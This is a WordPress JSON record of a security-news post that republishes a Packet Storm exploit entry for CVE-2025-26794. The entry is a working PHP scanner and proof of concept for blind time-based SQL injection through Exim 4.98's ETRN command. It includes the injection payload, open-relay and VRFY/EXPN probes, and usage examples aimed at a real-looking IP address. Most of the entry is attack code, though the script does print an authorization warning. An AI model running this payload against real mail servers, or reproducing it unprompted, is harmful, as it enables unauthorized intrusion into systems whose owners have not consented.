{"id":29727,"date":"2025-12-09T12:37:25","date_gmt":"2025-12-09T12:37:25","guid":{"rendered":"http:\/\/localhost\/?p=29727"},"modified":"2025-12-09T12:37:25","modified_gmt":"2025-12-09T12:37:25","slug":"exim-498-sql-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=29727","title":{"rendered":"\ud83d\udcc4 Exim 4.98 SQL Injection_PACKETSTORM:212605"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-09T17:44:52&#8243;,&#8221;description&#8221;:&#8221;A vulnerability exists in Exim version 4.98 when ETRN input is serialized and passed to a SQLite backend. Time\u2011based SQL injection allows attackers to detect conditions in SQL execution measuring response latency&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-09T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-09T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Exim 4.98 SQL Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212605&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2020-28007&#8243;,&#8221;CVE-2021-27216&#8243;,&#8221;CVE-2023-42115&#8243;,&#8221;CVE-2023-42116&#8243;,&#8221;CVE-2024-39929&#8243;,&#8221;CVE-2024-45090&#8243;,&#8221;CVE-2025-26794&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Exim 4.98 \u2013 Blind Time\u2011Based SQLi via ETRN                                                                                  |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/www.exim.org\/                                                                                                       |\\n    =============================================================================================================================================\\n    \\n    [+] References :  https:\/\/packetstorm.news\/files\/id\/211062\/ \\u0026 \\tCVE-2025-26794\\n    \\n    [+] Summary    : This vulnerability exists in Exim when ETRN input is serialized and passed to a SQLite backend. Time\u2011based SQL injection allows attackers\\n                     to detect conditions in SQL execution measuring response latency.\\n    \\n    \\n    [+] php poc.php\\n    \\n    php poc.php 93.190.40.231 &#8211;test-only\\n    \\n    php poc.php 93.190.40.231 -p 25 &#8211;test-only\\n    \\n    php poc.php 93.190.40.231 &#8211;full-scan\\n    \\n    \\u003c?php\\n    \/**\\n     * CVE-2025-26794: Exim ETRN SQL Injection Vulnerability Scanner\\n     *\/\\n    \\n    class Colors {\\n        const HEADER = \\&#8221;\\\\033[95m\\&#8221;;\\n        const OKBLUE = \\&#8221;\\\\033[94m\\&#8221;;\\n        const OKCYAN = \\&#8221;\\\\033[96m\\&#8221;;\\n        const OKGREEN = \\&#8221;\\\\033[92m\\&#8221;;\\n        const WARNING = \\&#8221;\\\\033[93m\\&#8221;;\\n        const FAIL = \\&#8221;\\\\033[91m\\&#8221;;\\n        const ENDC = \\&#8221;\\\\033[0m\\&#8221;;\\n        const BOLD = \\&#8221;\\\\033[1m\\&#8221;;\\n    }\\n    \\n    class AdvancedEximScanner {\\n        private $host;\\n        private $port;\\n        private $timeout;\\n        private $test_only;\\n        \\n        public function __construct($host, $port = 25, $timeout = 10, $test_only = false) {\\n            $this-\\u003ehost = $this-\\u003ecleanHost($host);\\n            $this-\\u003eport = (int)$port;\\n            $this-\\u003etimeout = $timeout;\\n            $this-\\u003etest_only = $test_only;\\n        }\\n        \\n        private function cleanHost($host) {\\n            \/\/ \u0625\u0632\u0627\u0644\u0629 \u0627\u0644\u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644\u0627\u062a \u0648\u0627\u0644\u0645\u0633\u0627\u0631\u0627\u062a\\n            $host = preg_replace(&#8216;\/^https?:\\\\\/\\\\\/\/i&#8217;, &#8221;, $host);\\n            $host = preg_replace(&#8216;\/\\\\\/.*$\/&#8217;, &#8221;, $host);\\n            return trim($host);\\n        }\\n        \\n        public function comprehensiveScan() {\\n            echo Colors::HEADER . Colors::BOLD . \\&#8221;=== Comprehensive Exim Security Scan ===\\\\n\\&#8221; . Colors::ENDC;\\n            echo \\&#8221;Target: {$this-\\u003ehost}:{$this-\\u003eport}\\\\n\\&#8221;;\\n            echo \\&#8221;Mode: \\&#8221; . ($this-\\u003etest_only ? \\&#8221;Test Only\\&#8221; : \\&#8221;Full Scan\\&#8221;) . \\&#8221;\\\\n\\\\n\\&#8221;;\\n            \\n            \/\/ 1. Get banner and version\\n            $this-\\u003echeckBanner();\\n            \\n            \/\/ 2. Test for CVE-2025-26794\\n            if ($this-\\u003etestCVE202526794()) {\\n                echo Colors::FAIL . \\&#8221;[!] CRITICAL: Vulnerable to CVE-2025-26794\\\\n\\&#8221; . Colors::ENDC;\\n            } else {\\n                echo Colors::OKGREEN . \\&#8221;[+] Not vulnerable to CVE-2025-26794\\\\n\\&#8221; . Colors::ENDC;\\n            }\\n            \\n            if (!$this-\\u003etest_only) {\\n                \/\/ 3. Test other common vulnerabilities\\n                $this-\\u003etestCommonVulns();\\n                \\n                \/\/ 4. Check configuration issues\\n                $this-\\u003echeckConfiguration();\\n                \\n                \/\/ 5. Generate report\\n                $this-\\u003egenerateReport();\\n            }\\n        }\\n        \\n        private function connectSMTP() {\\n            $socket = @fsockopen($this-\\u003ehost, $this-\\u003eport, $errno, $errstr, $this-\\u003etimeout);\\n            if (!$socket) {\\n                echo Colors::FAIL . \\&#8221;[!] Connection failed: $errstr ($errno)\\\\n\\&#8221; . Colors::ENDC;\\n                return null;\\n            }\\n            stream_set_timeout($socket, $this-\\u003etimeout);\\n            return $socket;\\n        }\\n        \\n        private function checkBanner() {\\n            echo Colors::OKBLUE . \\&#8221;[*] Checking SMTP banner&#8230;\\\\n\\&#8221; . Colors::ENDC;\\n            \\n            $socket = $this-\\u003econnectSMTP();\\n            if (!$socket) return;\\n            \\n            $banner = fgets($socket, 1024);\\n            if ($banner) {\\n                $banner = trim($banner);\\n                echo Colors::OKGREEN . \\&#8221;[+] Banner: $banner\\\\n\\&#8221; . Colors::ENDC;\\n                \\n                \/\/ Detect Exim\\n                if (stripos($banner, &#8216;Exim&#8217;) !== false) {\\n                    echo Colors::OKGREEN . \\&#8221;[+] Server identified as Exim\\\\n\\&#8221; . Colors::ENDC;\\n                    \\n                    \/\/ Extract version\\n                    if (preg_match(&#8216;\/Exim\\\\s+(\\\\d+\\\\.\\\\d+(?:\\\\.\\\\d+)?)\/i&#8217;, $banner, $matches)) {\\n                        $version = $matches[1];\\n                        echo Colors::OKGREEN . \\&#8221;[+] Exim version: $version\\\\n\\&#8221; . Colors::ENDC;\\n                        $this-\\u003echeckVersionVulnerabilities($version);\\n                    }\\n                } elseif (stripos($banner, &#8216;Postfix&#8217;) !== false) {\\n                    echo Colors::WARNING . \\&#8221;[!] Server is Postfix, not Exim\\\\n\\&#8221; . Colors::ENDC;\\n                } elseif (stripos($banner, &#8216;Sendmail&#8217;) !== false) {\\n                    echo Colors::WARNING . \\&#8221;[!] Server is Sendmail, not Exim\\\\n\\&#8221; . Colors::ENDC;\\n                } elseif (stripos($banner, &#8216;Microsoft&#8217;) !== false) {\\n                    echo Colors::WARNING . \\&#8221;[!] Server is Microsoft Exchange\\\\n\\&#8221; . Colors::ENDC;\\n                } else {\\n                    echo Colors::WARNING . \\&#8221;[!] Unknown mail server type\\\\n\\&#8221; . Colors::ENDC;\\n                }\\n            }\\n            \\n            fclose($socket);\\n        }\\n        \\n        private function testCVE202526794() {\\n            echo Colors::OKBLUE . \\&#8221;\\\\n[*] Testing CVE-2025-26794 (ETRN SQL Injection)&#8230;\\\\n\\&#8221; . Colors::ENDC;\\n            \\n            $normal_times = [];\\n            $delayed_times = [];\\n            $delay_payload = \\&#8221;SELECT 1 FROM tbl WHERE 1234=LIKE(&#8216;ABCDEFG&#8217;,UPPER(HEX(RANDOMBLOB(10000000))))\\&#8221;;\\n            \\n            for ($test = 0; $test \\u003c 2; $test++) {\\n                $socket = $this-\\u003econnectSMTP();\\n                if (!$socket) return false;\\n                \\n                \/\/ Normal request\\n                fwrite($socket, \\&#8221;ETRN #test\\\\r\\\\n\\&#8221;);\\n                $start = microtime(true);\\n                $response = fgets($socket, 1024);\\n                $normal_time = microtime(true) &#8211; $start;\\n                $normal_times[] = $normal_time;\\n                \\n                fclose($socket);\\n                usleep(300000); \/\/ 300ms delay\\n                \\n                \/\/ Delayed request\\n                $socket = $this-\\u003econnectSMTP();\\n                if (!$socket) return false;\\n                \\n                $sqli_payload = \\&#8221;#&#8217;,1); $delay_payload \/*\\&#8221;;\\n                fwrite($socket, \\&#8221;ETRN $sqli_payload\\\\r\\\\n\\&#8221;);\\n                $start = microtime(true);\\n                $response = fgets($socket, 1024);\\n                $delayed_time = microtime(true) &#8211; $start;\\n                $delayed_times[] = $delayed_time;\\n                \\n                fclose($socket);\\n                \\n                echo Colors::OKCYAN . \\&#8221;  Test \\&#8221; . ($test + 1) . \\&#8221;: Normal=\\&#8221; . number_format($normal_time, 3) . \\n                     \\&#8221;s, Delayed=\\&#8221; . number_format($delayed_time, 3) . \\&#8221;s\\\\n\\&#8221; . Colors::ENDC;\\n                \\n                if ($test \\u003c 1) usleep(500000); \/\/ 500ms between cycles\\n            }\\n            \\n            if (count($normal_times) \\u003e 0 \\u0026\\u0026 count($delayed_times) \\u003e 0) {\\n                $avg_normal = array_sum($normal_times) \/ count($normal_times);\\n                $avg_delayed = array_sum($delayed_times) \/ count($delayed_times);\\n                $diff = $avg_delayed &#8211; $avg_normal;\\n                \\n                echo Colors::OKCYAN . \\&#8221;[+] Avg normal: \\&#8221; . number_format($avg_normal, 3) . \\&#8221;s\\\\n\\&#8221; . Colors::ENDC;\\n                echo Colors::OKCYAN . \\&#8221;[+] Avg delayed: \\&#8221; . number_format($avg_delayed, 3) . \\&#8221;s\\\\n\\&#8221; . Colors::ENDC;\\n                echo Colors::OKCYAN . \\&#8221;[+] Difference: \\&#8221; . number_format($diff, 3) . \\&#8221;s\\\\n\\&#8221; . Colors::ENDC;\\n                \\n                return $diff \\u003e 0.3; \/\/ Threshold for vulnerability\\n            }\\n            \\n            return false;\\n        }\\n        \\n        private function testCommonVulns() {\\n            echo Colors::OKBLUE . \\&#8221;\\\\n[*] Testing other common vulnerabilities&#8230;\\\\n\\&#8221; . Colors::ENDC;\\n            \\n            $tests = [\\n                &#8216;Open Relay Test&#8217; =\\u003e [\\n                    &#8216;command&#8217; =\\u003e \\&#8221;MAIL FROM:\\u003ctest@test.com\\u003e\\\\r\\\\nRCPT TO:\\u003cexternal@example.com\\u003e\\\\r\\\\n\\&#8221;,\\n                    &#8216;vulnerable_if&#8217; =\\u003e &#8216;250&#8217;\\n                ],\\n                &#8216;VRFY Command Enabled&#8217; =\\u003e [\\n                    &#8216;command&#8217; =\\u003e \\&#8221;VRFY root\\\\r\\\\n\\&#8221;,\\n                    &#8216;vulnerable_if&#8217; =\\u003e &#8216;250&#8217;\\n                ],\\n                &#8216;EXPN Command Enabled&#8217; =\\u003e [\\n                    &#8216;command&#8217; =\\u003e \\&#8221;EXPN admin\\\\r\\\\n\\&#8221;,\\n                    &#8216;vulnerable_if&#8217; =\\u003e &#8216;250&#8217;\\n                ]\\n            ];\\n            \\n            foreach ($tests as $test_name =\\u003e $test) {\\n                echo \\&#8221;  &#8211; Testing $test_name&#8230; \\&#8221;;\\n                \\n                $socket = $this-\\u003econnectSMTP();\\n                if (!$socket) {\\n                    echo Colors::WARNING . \\&#8221;Connection failed\\\\n\\&#8221; . Colors::ENDC;\\n                    continue;\\n                }\\n                \\n                fgets($socket, 1024); \/\/ Read banner\\n                \\n                \/\/ Send EHLO first\\n                fwrite($socket, \\&#8221;EHLO test.com\\\\r\\\\n\\&#8221;);\\n                fread($socket, 4096);\\n                \\n                \/\/ Send test command\\n                fwrite($socket, $test[&#8216;command&#8217;]);\\n                $response = fgets($socket, 1024);\\n                \\n                $is_vulnerable = (strpos($response, $test[&#8216;vulnerable_if&#8217;]) === 0);\\n                \\n                if ($is_vulnerable) {\\n                    echo Colors::FAIL . \\&#8221;VULNERABLE\\\\n\\&#8221; . Colors::ENDC;\\n                } else {\\n                    echo Colors::OKGREEN . \\&#8221;OK\\\\n\\&#8221; . Colors::ENDC;\\n                }\\n                \\n                fclose($socket);\\n                usleep(200000); \/\/ 200ms delay\\n            }\\n        }\\n        \\n        private function checkConfiguration() {\\n            echo Colors::OKBLUE . \\&#8221;\\\\n[*] Checking for common misconfigurations&#8230;\\\\n\\&#8221; . Colors::ENDC;\\n            \\n            $checks = [\\n                &#8216;TLS\/SSL Support&#8217; =\\u003e $this-\\u003echeckTLS(),\\n                &#8216;Banner Information&#8217; =\\u003e $this-\\u003echeckBannerInfo(),\\n                &#8216;Weak Ciphers&#8217; =\\u003e &#8216;Manual check required&#8217;,\\n                &#8216;DNS Records&#8217; =\\u003e $this-\\u003echeckDNS()\\n            ];\\n            \\n            foreach ($checks as $check =\\u003e $result) {\\n                echo \\&#8221;  &#8211; $check: $result\\\\n\\&#8221;;\\n            }\\n        }\\n        \\n        private function checkTLS() {\\n            \/\/ Try to connect with SSL\\n            $context = stream_context_create([\\n                &#8216;ssl&#8217; =\\u003e [\\n                    &#8216;verify_peer&#8217; =\\u003e false,\\n                    &#8216;verify_peer_name&#8217; =\\u003e false\\n                ]\\n            ]);\\n            \\n            $socket = @stream_socket_client(\\n                \\&#8221;ssl:\/\/{$this-\\u003ehost}:{$this-\\u003eport}\\&#8221;,\\n                $errno,\\n                $errstr,\\n                $this-\\u003etimeout,\\n                STREAM_CLIENT_CONNECT,\\n                $context\\n            );\\n            \\n            if ($socket) {\\n                fclose($socket);\\n                return Colors::OKGREEN . \\&#8221;Available\\&#8221; . Colors::ENDC;\\n            }\\n            \\n            \/\/ Try STARTTLS\\n            $socket = $this-\\u003econnectSMTP();\\n            if ($socket) {\\n                fgets($socket, 1024); \/\/ Banner\\n                fwrite($socket, \\&#8221;EHLO test.com\\\\r\\\\n\\&#8221;);\\n                $response = fread($socket, 4096);\\n                fclose($socket);\\n                \\n                if (strpos($response, &#8216;STARTTLS&#8217;) !== false) {\\n                    return Colors::OKGREEN . \\&#8221;Available (STARTTLS)\\&#8221; . Colors::ENDC;\\n                }\\n            }\\n            \\n            return Colors::WARNING . \\&#8221;Not available\\&#8221; . Colors::ENDC;\\n        }\\n        \\n        private function checkBannerInfo() {\\n            $socket = $this-\\u003econnectSMTP();\\n            if (!$socket) return Colors::WARNING . \\&#8221;Cannot check\\&#8221; . Colors::ENDC;\\n            \\n            $banner = fgets($socket, 1024);\\n            fclose($socket);\\n            \\n            \/\/ Check if banner reveals too much info\\n            $info_leak = false;\\n            $suspicious = [&#8216;internal&#8217;, &#8216;version&#8217;, &#8216;debug&#8217;, &#8216;test&#8217;, &#8216;dev&#8217;];\\n            \\n            foreach ($suspicious as $word) {\\n                if (stripos($banner, $word) !== false) {\\n                    $info_leak = true;\\n                    break;\\n                }\\n            }\\n            \\n            return $info_leak ? Colors::FAIL . \\&#8221;Information leak\\&#8221; . Colors::ENDC : Colors::OKGREEN . \\&#8221;OK\\&#8221; . Colors::ENDC;\\n        }\\n        \\n        private function checkDNS() {\\n            \/\/ Check MX records\\n            $mx_records = @dns_get_record($this-\\u003ehost, DNS_MX);\\n            if ($mx_records) {\\n                return Colors::OKGREEN . \\&#8221;MX records found\\&#8221; . Colors::ENDC;\\n            }\\n            \\n            \/\/ Check if it&#8217;s an IP\\n            if (filter_var($this-\\u003ehost, FILTER_VALIDATE_IP)) {\\n                return Colors::OKCYAN . \\&#8221;Direct IP connection\\&#8221; . Colors::ENDC;\\n            }\\n            \\n            return Colors::WARNING . \\&#8221;No MX records\\&#8221; . Colors::ENDC;\\n        }\\n        \\n        private function checkVersionVulnerabilities($version) {\\n            $knownVulns = [\\n                &#8216;4.94&#8217; =\\u003e [&#8216;CVE-2020-28007&#8217;, &#8216;CVE-2021-27216&#8217;],\\n                &#8216;4.95&#8217; =\\u003e [&#8216;CVE-2023-42115&#8217;, &#8216;CVE-2023-42116&#8217;],\\n                &#8216;4.96&#8217; =\\u003e [&#8216;CVE-2024-39929&#8217;],\\n                &#8216;4.97&#8217; =\\u003e [&#8216;CVE-2024-45090&#8217;],\\n                &#8216;4.98&#8217; =\\u003e [&#8216;CVE-2025-26794&#8217;]\\n            ];\\n            \\n            foreach ($knownVulns as $ver =\\u003e $cves) {\\n                if (version_compare($version, $ver, &#8216;\\u003e=&#8217;)) {\\n                    echo Colors::WARNING . \\&#8221;[!] May be vulnerable to:\\\\n\\&#8221; . Colors::ENDC;\\n                    foreach ($cves as $cve) {\\n                        echo Colors::WARNING . \\&#8221;    &#8211; $cve\\\\n\\&#8221; . Colors::ENDC;\\n                    }\\n                    break;\\n                }\\n            }\\n        }\\n        \\n        public function generateReport() {\\n            echo Colors::HEADER . Colors::BOLD . \\&#8221;\\\\n=== SECURITY ASSESSMENT REPORT ===\\\\n\\&#8221; . Colors::ENDC;\\n            echo \\&#8221;Date: \\&#8221; . date(&#8216;Y-m-d H:i:s&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n            echo \\&#8221;Target: {$this-\\u003ehost}:{$this-\\u003eport}\\\\n\\&#8221;;\\n            echo \\&#8221;Scanner: Exim Security Scanner v1.0\\\\n\\&#8221;;\\n            echo \\&#8221;\\\\n\\&#8221; . str_repeat(\\&#8221;=\\&#8221;, 50) . \\&#8221;\\\\n\\&#8221;;\\n            \\n            echo Colors::BOLD . \\&#8221;\\\\nSUMMARY:\\\\n\\&#8221; . Colors::ENDC;\\n            echo \\&#8221;\u2022 CVE-2025-26794: \\&#8221; . \\n                 ($this-\\u003etestCVE202526794() ? Colors::FAIL . \\&#8221;VULNERABLE\\&#8221; : Colors::OKGREEN . \\&#8221;NOT VULNERABLE\\&#8221;) . \\n                 Colors::ENDC . \\&#8221;\\\\n\\&#8221;;\\n            echo \\&#8221;\u2022 Server Type: Exim (detected from banner)\\\\n\\&#8221;;\\n            echo \\&#8221;\u2022 TLS Support: \\&#8221; . $this-\\u003echeckTLS() . \\&#8221;\\\\n\\&#8221;;\\n            \\n            echo Colors::BOLD . \\&#8221;\\\\nRECOMMENDATIONS:\\\\n\\&#8221; . Colors::ENDC;\\n            echo \\&#8221;1. Keep Exim updated to latest version\\\\n\\&#8221;;\\n            echo \\&#8221;2. Disable unused SMTP commands (VRFY, EXPN)\\\\n\\&#8221;;\\n            echo \\&#8221;3. Enforce TLS encryption\\\\n\\&#8221;;\\n            echo \\&#8221;4. Implement rate limiting\\\\n\\&#8221;;\\n            echo \\&#8221;5. Regular security audits\\\\n\\&#8221;;\\n            echo \\&#8221;6. Monitor logs for suspicious activity\\\\n\\&#8221;;\\n            \\n            echo Colors::BOLD . \\&#8221;\\\\nNEXT STEPS:\\\\n\\&#8221; . Colors::ENDC;\\n            echo \\&#8221;\u2022 Run full vulnerability scan with nmap\\\\n\\&#8221;;\\n            echo \\&#8221;\u2022 Check for other open ports\\\\n\\&#8221;;\\n            echo \\&#8221;\u2022 Review Exim configuration files\\\\n\\&#8221;;\\n            echo \\&#8221;\u2022 Implement firewall rules\\\\n\\&#8221;;\\n            \\n            echo \\&#8221;\\\\n\\&#8221; . Colors::WARNING . \\&#8221;NOTE: This is a basic scan. Comprehensive testing requires manual review.\\\\n\\&#8221; . Colors::ENDC;\\n        }\\n    }\\n    \\n    \/\/ Main execution with proper argument parsing\\n    function main($argv) {\\n        echo Colors::HEADER . Colors::BOLD . \\&#8221;\\n    \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n    \u2551                 Exim Security Scanner                     \u2551\\n    \u2551                      by indoushka                         \u2551\\n    \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\n    \\&#8221; . Colors::ENDC;\\n        \\n        if (count($argv) \\u003c 2) {\\n            echo \\&#8221;\\\\nUsage: php \\&#8221; . basename($argv[0]) . \\&#8221; \\u003chost\\u003e [options]\\\\n\\&#8221;;\\n            echo \\&#8221;\\\\nOptions:\\\\n\\&#8221;;\\n            echo \\&#8221;  -p, &#8211;port PORT      SMTP port (default: 25)\\\\n\\&#8221;;\\n            echo \\&#8221;  -t, &#8211;timeout SEC    Timeout in seconds (default: 10)\\\\n\\&#8221;;\\n            echo \\&#8221;  &#8211;test-only          Test only CVE-2025-26794\\\\n\\&#8221;;\\n            echo \\&#8221;  &#8211;full-scan          Complete security scan\\\\n\\&#8221;;\\n            echo \\&#8221;\\\\nExamples:\\\\n\\&#8221;;\\n            echo \\&#8221;  php \\&#8221; . basename($argv[0]) . \\&#8221; 93.190.40.231 &#8211;test-only\\\\n\\&#8221;;\\n            echo \\&#8221;  php \\&#8221; . basename($argv[0]) . \\&#8221; mail.example.com -p 587 &#8211;full-scan\\\\n\\&#8221;;\\n            exit(1);\\n        }\\n        \\n        $host = $argv[1];\\n        $port = 25;\\n        $timeout = 10;\\n        $test_only = false;\\n        $full_scan = false;\\n        \\n        \/\/ Parse arguments\\n        for ($i = 2; $i \\u003c count($argv); $i++) {\\n            if ($argv[$i] === &#8216;-p&#8217; || $argv[$i] === &#8216;&#8211;port&#8217;) {\\n                $port = (int)$argv[++$i];\\n            } elseif ($argv[$i] === &#8216;-t&#8217; || $argv[$i] === &#8216;&#8211;timeout&#8217;) {\\n                $timeout = (int)$argv[++$i];\\n            } elseif ($argv[$i] === &#8216;&#8211;test-only&#8217;) {\\n                $test_only = true;\\n            } elseif ($argv[$i] === &#8216;&#8211;full-scan&#8217;) {\\n                $full_scan = true;\\n            }\\n        }\\n        \\n        \/\/ If neither specified, default to test-only\\n        if (!$test_only \\u0026\\u0026 !$full_scan) {\\n            $test_only = true;\\n        }\\n        \\n        \/\/ Authorization warning\\n        echo Colors::WARNING . str_repeat(\\&#8221;=\\&#8221;, 60) . \\&#8221;\\\\n\\&#8221;;\\n        echo \\&#8221;AUTHORIZATION REQUIRED\\\\n\\&#8221;;\\n        echo str_repeat(\\&#8221;=\\&#8221;, 60) . Colors::ENDC . \\&#8221;\\\\n\\&#8221;;\\n        echo \\&#8221;Target: $host:$port\\\\n\\\\n\\&#8221;;\\n        echo Colors::FAIL . \\&#8221;WARNING: Unauthorized testing is illegal.\\\\n\\&#8221; . Colors::ENDC;\\n        echo Colors::FAIL . \\&#8221;You MUST have written permission from the system owner.\\\\n\\\\n\\&#8221; . Colors::ENDC;\\n        \\n        echo Colors::BOLD . \\&#8221;Proceed? (yes\/no): \\&#8221; . Colors::ENDC;\\n        $response = trim(fgets(STDIN));\\n        \\n        if (strtolower($response) !== &#8216;yes&#8217; \\u0026\\u0026 strtolower($response) !== &#8216;y&#8217;) {\\n            echo Colors::FAIL . \\&#8221;\\\\n[!] Authorization not confirmed. Exiting.\\\\n\\&#8221; . Colors::ENDC;\\n            exit(0);\\n        }\\n        \\n        echo \\&#8221;\\\\n\\&#8221;;\\n        \\n        \/\/ Run scan\\n        try {\\n            $scanner = new AdvancedEximScanner($host, $port, $timeout, $test_only);\\n            $scanner-\\u003ecomprehensiveScan();\\n        } catch (Exception $e) {\\n            echo Colors::FAIL . \\&#8221;[!] Error: \\&#8221; . $e-\\u003egetMessage() . \\&#8221;\\\\n\\&#8221; . Colors::ENDC;\\n        }\\n        \\n        echo Colors::OKGREEN . \\&#8221;\\\\n[+] Scan completed.\\\\n\\&#8221; . Colors::ENDC;\\n    }\\n    \\n    \/\/ Run only if executed from CLI\\n    if (PHP_SAPI === &#8216;cli&#8217;) {\\n        main($argv);\\n    } else {\\n        echo \\&#8221;This script must be run from command line.\\\\n\\&#8221;;\\n        exit(1);\\n    }\\n    ?\\u003e\\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212605&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.0\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.0&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;3.0&#8243;,&#8221;vectorString&#8221;:&#8221;CVSS:3.0\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;baseScore&#8221;:9.8,&#8221;baseSeverity&#8221;:&#8221;CRITICAL&#8221;,&#8221;attackVector&#8221;:&#8221;NETWORK&#8221;,&#8221;attackComplexity&#8221;:&#8221;LOW&#8221;,&#8221;privilegesRequired&#8221;:&#8221;NONE&#8221;,&#8221;userInteraction&#8221;:&#8221;NONE&#8221;,&#8221;scope&#8221;:&#8221;UNCHANGED&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;HIGH&#8221;,&#8221;integrityImpact&#8221;:&#8221;HIGH&#8221;,&#8221;availabilityImpact&#8221;:&#8221;HIGH&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212605\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-09T17:44:52&#8243;,&#8221;description&#8221;:&#8221;A vulnerability exists in Exim version 4.98 when ETRN input is serialized and passed to a SQLite backend. Time\u2011based SQL injection allows attackers to detect&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-29727","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Exim 4.98 SQL Injection_PACKETSTORM:212605 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=29727\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Exim 4.98 SQL Injection_PACKETSTORM:212605 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-09T17:44:52&#8243;,&#8221;description&#8221;:&#8221;A vulnerability exists in Exim version 4.98 when ETRN input is serialized and passed to a SQLite backend. Time\u2011based SQL injection allows attackers to detect...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=29727\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-09T12:37:25+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"12 minutes\" \/>\n<script type=\"application\/ld+json\" 